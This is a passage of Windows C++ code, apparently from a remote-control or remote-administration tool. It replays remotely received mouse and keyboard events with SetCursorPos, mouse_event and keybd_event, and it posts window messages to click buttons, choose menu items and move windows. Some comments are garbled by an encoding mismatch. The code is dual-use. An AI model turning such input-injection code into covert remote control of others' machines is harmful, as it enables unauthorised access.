||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_RESTORE, 0);
|
||
else
|
||
PostMessageA(hWnd, WM_SYSCOMMAND, SC_MAXIMIZE, 0);
|
||
Mprintf("Maxsize window: %s[%p]\n", GetTitle(hWnd).c_str(), hWnd);
|
||
break;
|
||
}
|
||
}
|
||
} else if (msg->message == WM_LBUTTONDOWN) {
|
||
m_lmouseDown = TRUE;
|
||
m_hResMoveWindow = NULL;
|
||
RECT startButtonRect;
|
||
HWND hStartButton = FindWindowA((PCHAR)"Button", NULL);
|
||
GetWindowRect(hStartButton, &startButtonRect);
|
||
if (PtInRect(&startButtonRect, m_point)) {
|
||
PostMessageA(hStartButton, BM_CLICK, 0, 0); // ģ<>ʼ<E2BFAA><CABC>ť<EFBFBD><C5A5><EFBFBD><EFBFBD>
|
||
continue;
|
||
} else {
|
||
char windowClass[MAX_PATH] = { 0 };
|
||
RealGetWindowClassA(hWnd, windowClass, MAX_PATH);
|
||
if (!lstrcmpA(windowClass, "#32768")) {
|
||
HMENU hMenu = (HMENU)SendMessageA(hWnd, MN_GETHMENU, 0, 0);
|
||
int itemPos = MenuItemFromPoint(NULL, hMenu, m_point);
|
||
int itemId = GetMenuItemID(hMenu, itemPos);
|
||
PostMessageA(hWnd, 0x1e5, itemPos, 0);
|
||
PostMessageA(hWnd, WM_KEYDOWN, VK_RETURN, 0);
|
||
continue;
|
||
}
|
||
}
|
||
} else if (msg->message == WM_MOUSEMOVE) {
|
||
if (!m_lmouseDown)
|
||
continue;
|
||
if (!m_hResMoveWindow)
|
||
m_resMoveType = SendMessageA(hWnd, WM_NCHITTEST, NULL, msg->lParam);
|
||
else
|
||
hWnd = m_hResMoveWindow;
|
||
int moveX = lastPointCopy.x - m_point.x;
|
||
int moveY = lastPointCopy.y - m_point.y;
|
||
|
||
RECT rect;
|
||
GetWindowRect(hWnd, &rect);
|
||
int x = rect.left;
|
||
int y = rect.top;
|
||
int width = rect.right - rect.left;
|
||
int height = rect.bottom - rect.top;
|
||
switch (m_resMoveType) {
|
||
case HTCAPTION: {
|
||
x -= moveX;
|
||
y -= moveY;
|
||
break;
|
||
}
|
||
case HTTOP: {
|
||
y -= moveY;
|
||
height += moveY;
|
||
break;
|
||
}
|
||
case HTBOTTOM: {
|
||
height -= moveY;
|
||
break;
|
||
}
|
||
case HTLEFT: {
|
||
x -= moveX;
|
||
width += moveX;
|
||
break;
|
||
}
|
||
case HTRIGHT: {
|
||
width -= moveX;
|
||
break;
|
||
}
|
||
case HTTOPLEFT: {
|
||
y -= moveY;
|
||
height += moveY;
|
||
x -= moveX;
|
||
width += moveX;
|
||
break;
|
||
}
|
||
case HTTOPRIGHT: {
|
||
y -= moveY;
|
||
height += moveY;
|
||
width -= moveX;
|
||
break;
|
||
}
|
||
case HTBOTTOMLEFT: {
|
||
height -= moveY;
|
||
x -= moveX;
|
||
width += moveX;
|
||
break;
|
||
}
|
||
case HTBOTTOMRIGHT: {
|
||
height -= moveY;
|
||
width -= moveX;
|
||
break;
|
||
}
|
||
default:
|
||
continue;
|
||
}
|
||
MoveWindow(hWnd, x, y, width, height, FALSE);
|
||
m_hResMoveWindow = hWnd;
|
||
continue;
|
||
}
|
||
break;
|
||
}
|
||
}
|
||
for (HWND currHwnd = hWnd;;) {
|
||
hWnd = currHwnd;
|
||
ScreenToClient(currHwnd, &m_point);
|
||
currHwnd = ChildWindowFromPoint(currHwnd, m_point);
|
||
if (!currHwnd || currHwnd == hWnd)
|
||
break;
|
||
}
|
||
if (mouseMsg)
|
||
msg->lParam = MAKELPARAM(m_point.x, m_point.y);
|
||
PostMessage(hWnd, msg->message, (WPARAM)msg->wParam, msg->lParam);
|
||
}
|
||
return;
|
||
}
|
||
for (int i = 0; i < ulMsgCount; ++i, ptr += msgSize) {
|
||
MSG64* Msg = msgSize == 48 ? (MSG64*)ptr :
|
||
(MSG64*)msg64.Create(msg32.Create(ptr, msgSize));
|
||
switch (Msg->message) {
|
||
case WM_LBUTTONDOWN:
|
||
case WM_LBUTTONUP:
|
||
case WM_RBUTTONDOWN:
|
||
case WM_RBUTTONUP:
|
||
case WM_LBUTTONDBLCLK:
|
||
case WM_RBUTTONDBLCLK:
|
||
case WM_MBUTTONDOWN:
|
||
case WM_MBUTTONUP:
|
||
case WM_MOUSEMOVE: {
|
||
POINT Point;
|
||
Point.x = LOWORD(Msg->lParam);
|
||
Point.y = HIWORD(Msg->lParam);
|
||
m_ScreenSpyObject->PointConversion(Point);
|
||
BOOL b = SetCursorPos(Point.x, Point.y);
|
||
if (!b) {
|
||
SetForegroundWindow(GetDesktopWindow());
|
||
ReleaseCapture();
|
||
return;
|
||
}
|
||
}
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
|
||
switch(Msg->message) { //<2F>˿ڷ<CBBF><DAB7>ӿ<EFBFBD><D3BF>ݷ<EFBFBD>
|
||
case WM_LBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_LBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_RBUTTONDBLCLK:
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONDOWN:
|
||
mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MBUTTONUP:
|
||
mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
|
||
break;
|
||
case WM_MOUSEWHEEL:
|
||
mouse_event(MOUSEEVENTF_WHEEL, 0, 0,
|
||
GET_WHEEL_DELTA_WPARAM(Msg->wParam), 0);
|
||
break;
|
||
case WM_KEYDOWN:
|
||
case WM_SYSKEYDOWN:
|
||
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), 0, 0);
|
||
break;
|
||
case WM_KEYUP:
|
||
case WM_SYSKEYUP:
|
||
keybd_event(Msg->wParam, MapVirtualKey(Msg->wParam, 0), KEYEVENTF_KEYUP, 0);
|
||
break;
|
||
default:
|
||
break;
|
||
}
|
||
}
|
||
}
|